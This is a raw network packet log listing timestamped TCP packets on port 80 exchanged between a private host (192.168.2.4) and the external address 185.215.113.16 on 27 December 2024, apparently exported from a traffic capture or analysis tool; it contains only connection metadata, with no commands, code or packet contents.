Dec 27, 2024 08:45:28.789074898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.789129972 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.789680958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.789731979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.789756060 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.790293932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.790379047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.790430069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.791188955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.791202068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.791673899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.791702032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.791750908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.791873932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.792124033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.792254925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.792279959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.792860985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.794259071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.831165075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.831182957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.831219912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.831245899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.831338882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.831381083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.831957102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.832077980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.832123995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.832776070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.832962990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.833025932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.833406925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.833715916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.833769083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.834275961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.834289074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.834367037 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.835122108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.835134983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.835242987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.858438969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.858532906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.858583927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.858781099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.858841896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.858927011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.859462023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.859524012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.859574080 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.860269070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.860409975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.860446930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.860564947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.861382961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.861397028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.861448050 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.861743927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.861763000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.861789942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.862384081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.862468958 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.862546921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.863173962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.863188028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.863244057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.863799095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.863842010 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.864132881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.864531994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.864653111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.864746094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.877701044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.877764940 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.877824068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.878055096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.878068924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.878123045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.878757954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.878813028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.878827095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.879446030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.879507065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.879518986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.880115986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.880162954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.880214930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.880830050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.880914927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.881025076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.881553888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.881618023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.881643057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.907124996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.907206059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.907228947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.907505035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.907582045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.907602072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.908297062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.908309937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.908363104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.908900976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.908961058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.908993006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.909689903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.909715891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.909742117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.910372972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.910482883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.910541058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.911099911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.911113024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.911169052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.911745071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.911804914 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.911839008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.912630081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.912754059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.912821054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.913263083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.913275003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.913304090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.913865089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.913970947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.914027929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.914587975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.914683104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.914860964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.915302992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.915426970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.915452003 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.915993929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.916102886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.983320951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.983354092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.983397007 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.983576059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.983699083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.983793020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.984215975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.984381914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.984525919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.984945059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.985248089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.985340118 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.985620022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.985775948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.985820055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.986392975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.986474037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.986531973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.987071037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.987221003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.987757921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.987965107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.987989902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.988488913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.988512993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.988583088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.989203930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.989228964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.989387989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.989672899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.990101099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.990115881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.990679026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.990708113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.990775108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.990923882 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.991344929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.991461992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.991637945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.992113113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.992172003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.992216110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.992909908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.992923975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.992989063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.993555069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.993833065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.993933916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:28.994235992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.994360924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:28.994457006 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.038975954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.039011002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.039319038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.039357901 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.039800882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.039856911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.039947987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.040092945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.040215969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.040851116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.041059017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.041373014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.041402102 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.041479111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.041573048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.042072058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.042227983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.042318106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.043014050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.043029070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.043191910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.059869051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.059890985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.059952021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.060178995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.060193062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.060276985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.060794115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.060887098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.060959101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.061480999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.061772108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.061814070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.061872959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.062464952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.062526941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.062597990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.063148022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.063205004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.063214064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.063863993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.063910007 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.064007998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.064603090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.064685106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.064690113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.065290928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.065378904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.065633059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.066135883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.066148996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.066195011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.079078913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.079163074 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.079205990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.079356909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.079531908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.079540014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.080113888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.080166101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.080238104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.080823898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.080836058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.080975056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.081489086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.081563950 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.081598043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.082218885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.082267046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.082381010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.082889080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.082964897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.083074093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.108587027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.108601093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.108777046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.108875036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.108918905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.108942986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.109571934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.109647036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.109750032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.110378981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.110506058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.110574961 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.111104012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.111165047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.111171961 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.111768007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.111814022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.111820936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.112642050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.112653971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.112701893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.113209009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.113221884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.113272905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.113881111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.113934040 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.113969088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.114588022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.114648104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.114658117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.115340948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.115447998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.115473032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.116076946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.116132021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.116141081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.116755009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.116820097 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.116842985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.117408991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.117460012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.130263090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.185095072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.185116053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.185224056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.185223103 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.185277939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.185334921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.185791969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.185940027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.185998917 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.186474085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.186610937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.187186956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.187325954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.187340975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.187453985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.187942982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.188021898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.188230038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.188654900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.188699961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.188829899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.189352989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.189501047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.189673901 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.190057993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.190213919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.190258026 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.190782070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.190871000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.190912008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.191524982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.191621065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.191657066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.192226887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.192358971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.192404985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.192948103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.193001032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.193079948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.193681002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.193846941 CET	80	49744	185.215.113.16	192.168.2.4
